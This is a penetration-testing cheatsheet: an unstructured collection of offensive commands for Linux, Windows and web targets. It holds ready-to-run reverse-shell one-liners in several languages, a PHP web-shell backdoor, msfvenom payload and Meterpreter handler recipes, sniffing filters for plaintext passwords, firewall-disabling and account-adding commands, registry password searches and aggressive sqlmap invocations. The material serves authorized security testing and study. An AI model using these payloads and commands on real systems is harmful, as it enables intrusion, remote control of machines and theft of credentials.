pentesting
Intro
Pentesting Cheatsheet
An unstructured list of bolts & clamps I have collected over time.
Linux
Privileges
find all setuid and setgid programs
find / -perm -6000 -print
set file immutable (even root cannot delete it)
chattr +i test.txt
set file append only. Can only add new content, not remove old
chattr +a test.txt
verify immutable flag (plus other flags)
lsattr
revoke to groups and other read+write+execution permission in the current and sub directories
chmod -R go-rwx /*
assigns to all user read+write+execution permission in the current and sub directories
chmod -R a+rx /*
allows file owner to be the only one authorized to delete their files
umask 0000
cat, grep & misc commands
cat all files recursively
find . -name '*.txt' -exec cat {} \;
find . -name '*' -exec ls -asl {} \; 2>/dev/null | grep passwd
find . -name foo -type f -print0 | xargs -0 grep "password"
find a pattern in a file and suppress stderr
grep 'pattern' file 2>/dev/null
grep -s 'pattern' file
Network Scanning
Unicorn UDP scan over tunnel interface (often faster than nmap)
unicornscan -mU -p 161 10.11.1.0/24 -i tap0
Masscan over tunnel
masscan -p1-65500 10.11.1.219 --interface tap0 --router-mac 00-50-56-89-35-90
nmap check all related vulnerabilities
nmap --script vuln [host]
Traffic Dump
Grab everything between two keywords
tcpdump -i eth0 port 80 -X | sed -n -e '/username/,/=ldap/ p'
Grab user and pass ever plain http
tcpdump -i eth0 port http -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' --color=auto --line-buffered -B20
SSH Port Forwarding
SSH local port forwarding
Make services on the remote network accessible to your host via a local listener.
The service running on the remote host on TCP port 8834 is accessible by connecting to 8834 on the SSH client system.
ssh -L 8834:localhost:8834 user@taget_ip
SSH remote port forwarding
Make services on your local system / local network accessible to the remote host via a remote listener.
The SSH server will be able to access TCP port 80 on 172.16.0.99 (a host accessible from the SSH client) by connecting to 127.0.0.1:8000 on the SSH server.
ssh -R 127.0.0.1:8000:172.16.0.99:80 10.0.0.1
Password cracking and wordlists
Crunch Worlist Generator
Crunch - Wordlist Generator
@ - Lower case alpha characters
, - Upper case alpha characters
% - Numeric characters
^ - Special characters including space
example:
crunch 8 8 -t ,@@^^%%%
Custom dictionary from website
cewl -d 2 -m 5 -w docswords.txt http://docs.kali.org
Create wordlist in norwegian using words from Wikipedia
wget http://download.wikimedia.org/nowiki/latest/nowiki-latest-pages-articles.xml.bz2
bzcat nowiki-latest-pages-articles.xml.bz2 | grep '^[a-zA-Z]' | sed 's/[-_:.,;#@+?{}()&|§!¤%`<>="\/]/\ /g'```<br>``` | tr ' ' '\n' | sed 's/[0-9]//g' | sed 's/[^A-Za-z0-9]//g' | sed -e 's/./\L\0/g' ```<br>```| sed 's/[^abcdefghijklmnopqrstuvwxyzæøå]//g' | sort | uniq | pw-inspector -m1 -M20 > nowiki.lst
Reverse-shell oneliners
bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
perl
perl -e 'use Socket;$i="192.168.26.31";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i”);};’
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.26.31",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
Reverse Shell
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Command backdoor
<?php echo shell_exec($_GET['cmd']);?>
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat
nc -e /bin/sh 10.0.0.1 1234
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
#Xterm
xterm -display 10.0.0.1:1
SMB
List shares
smbclient -L 1.2.3.4
Connect to share
smbclient \\\\1.2.3.4\\SHARE
Nmap SMB scripts:
nmap -v -p 139,445 [IP] --script=smb-vuln-conficker.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-cve2009-3103.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-ms06-025.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-ms07-029.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-ms08-067.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-ms10-054.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-ms10-061.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-ms17-010.nse
nmap -v -p 139,445 [IP] --script=smb-vuln-regsvc-dos.nse
SNMP
onesixtyone – c <community list file> -I <ip-address>
snmpwalk -c <community string> -v <version> <ip address>
MSFVenom
Windows
Staged reverse TCP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
Stageless (single) reverse TCP
msfvenom -p windows/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
Linux
Staged reverse TCP
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf >reverse.elf
Stageless (single) reverse TCP
msfvenom -p linux/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf >reverse.elf
VBA/VBS payload
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=8080 -e x86/shikata_ga_nai -f vba-exe
Meterpreter
Meterpreter handler template
use exploit/multi/handler
set PAYLOAD osx/x64/meterpreter/reverse_tcp
set LHOST 10.10.1.12
set LPORT 4444
set ExitOnSession false
exploit -j -z
Compiling
create object file, and link it
nasm -f elf -o shellcode.o shellcode.nasm
ld -melf_i386 -z execstack -o shellcode shellcode.o
compile in one go
gcc -z execstack -o shellcode shellcode.c
compile windows PE on kali 64bit
x86_64-w64-mingw32-gcc shell.c -o shell.exe
compile windows on kali 32bit
i686-w64-mingw32-gcc shell.c -o shell.exe
generates only ASM from C code
gcc -S -fno-asynchronous-unwind-tables -masm=intel *.c
Binary Exploitation and Reversing
ASLR
disable ASLR system-wide
echo 1 > /proc/sys/kernel/randomize_va_space
disable ASLR on a single bash session, instead of the whole OS
setarch $(uname --machine) --addr-no-randomize bash
PWN TOOLS
convert shellcode to machinecode
print(repr(asm(shellcraft.sh())))
Ret2LibC
finds /bin/sh location inside libc
(gdb) break main
Breakpoint 1 at 0x8048570
(gdb) run
Starting program: /root/Desktop/RE/intro_rev_binary_expl/exploitation/examples/hello
Breakpoint 1, 0x08048570 in main ()
(gdb) find 0xf7dba000,0xf7f8c000,"/bin/sh"
0xf7f35988
1 pattern found.
RADARE2
Cheat sheet
https://github.com/zxgio/r2-cheatsheet/blob/master/r2-cheatsheet.pdf
Windows
Version information
WINDOWS NT
5.0 2000
5.1 XP/legacy
5.2 XP64/Server 2003 (R2)
6.0 Vista/Server 2008
6.1 7/Server 2008R2/Home Server 2011
6.2 8/Server 2012
6.3 8.1/Server 2012R2
10.0 10/Server 2016
Basic enumeration
General system info
systeminfo
Get hostname
hostname
Current user
whoami
Current user, group and permissions
whoami /all
IP and Networking
ipconfig /all
route print
netstat -bano
netsat -r
wingrep
command | findstr /C:"str"
current path
path
run target “executable” with user profile permissiosn for /user:
runas /profile /user:administrator "C:\absolute\path\pcoff.exe"
run code excution in background
START /B process.exe
execute all files in a directory
for %%i in (C:\abs\path\*) do %%i
for /F "usebackq" %i in (`dir /b C:\macros\Day\`) DO %i
User
whoami
net users
list users in current domain
net user /domain
list user info
net user username
add local system user
net user name pass /add
check user’s network group membership
net user name setpword
net user /DOMAIN %USERNAME%
check another user’s information
net user /domain user
list users in AD group
net group "Domain Users" /domain
list domain local group users
net localgroup "administrators" /domain
net group “Domain Admins” /domain
net group “Enterprise Admins” /domain
net group “Domain Controllers” /domain
NET LOCALGROUP "Remote Desktop Users" trinity /ADD
List password policy for locahost
net accounts
net accounts /domain
Networking
view full ARP table
arp -A
view available network share hosts
net view
view available shares on host
net view \\HOST
Queries NBNS/SMB (SAMBA) and tries to find all hosts in ‘otherdomain’
net view /domain:otherdomain
Lists tasks w/users running those tasks on a remote system
tasklist /V /S computername
Firewall
netsh firewall show state
netsh firewall show config
netsh firewall set opmode disable
netsh advfirewall set allprofiles state off
Configure nic to user dhcp
netsh interface ip set address local dhcp
open port (for rdesktop)
netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389
close port (for rdesktop)
netsh advfirewall firewall add rule name="Block mssql attack ips" dir=in action=block protocol=TCP localport=1433 remoteip=22.75.175.213
Auto-Start Directories
Windows NT 6.1,6.0
%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
Windows NT 5.2, 5.1, 5,0
%SystemDrive%\Documents And Settings\All Users\Start Menu\Programs\StartUp\
Windows 9x
%SystemDrive%\wmiOWS\Start Menu\Programs\StartUp\
Windows NT 4.0, 3.51, 3.50
%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\
SMB
map remote hard drive to local path
net use * \\remote_ip\c$ password /u:remote_ip\username
verify shares
net use [sharename]
Powershell
locally use PS to execute command as admin, given admin password
$user = "PC\Administrator";
$password = "test1234";
$pass_string = convertTo-SecureString -AsPlaintext -Force $password;
$cred = new-object system.management.automation.pscredential($user, $pass_string);
Invoke-Command -ComputerName 127.0.0.1 -Credential $cred -ScriptBlock { type C:/Users/Administrator/Desktop/root.txt ; type C:/Users/h.potter/user.txt }
Privilege Escalation
Full permissions for Everyone or Users? replace (F) with (M) to check for modify rights
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
Unquoted service paths?
wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """
Passwords in registry?
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s
Web Applications
Parsing
curl [IP] -s -L | html2text -width '99' | uniq
Injections
SQLi
SQLmap example
sqlmap -m [external url list] --crawl=6 --threads=10 --random-agent --dbms=mysql|mssql|postgresql|orcale --level=5 --risk=3
ac41a23 @ 2019-11-20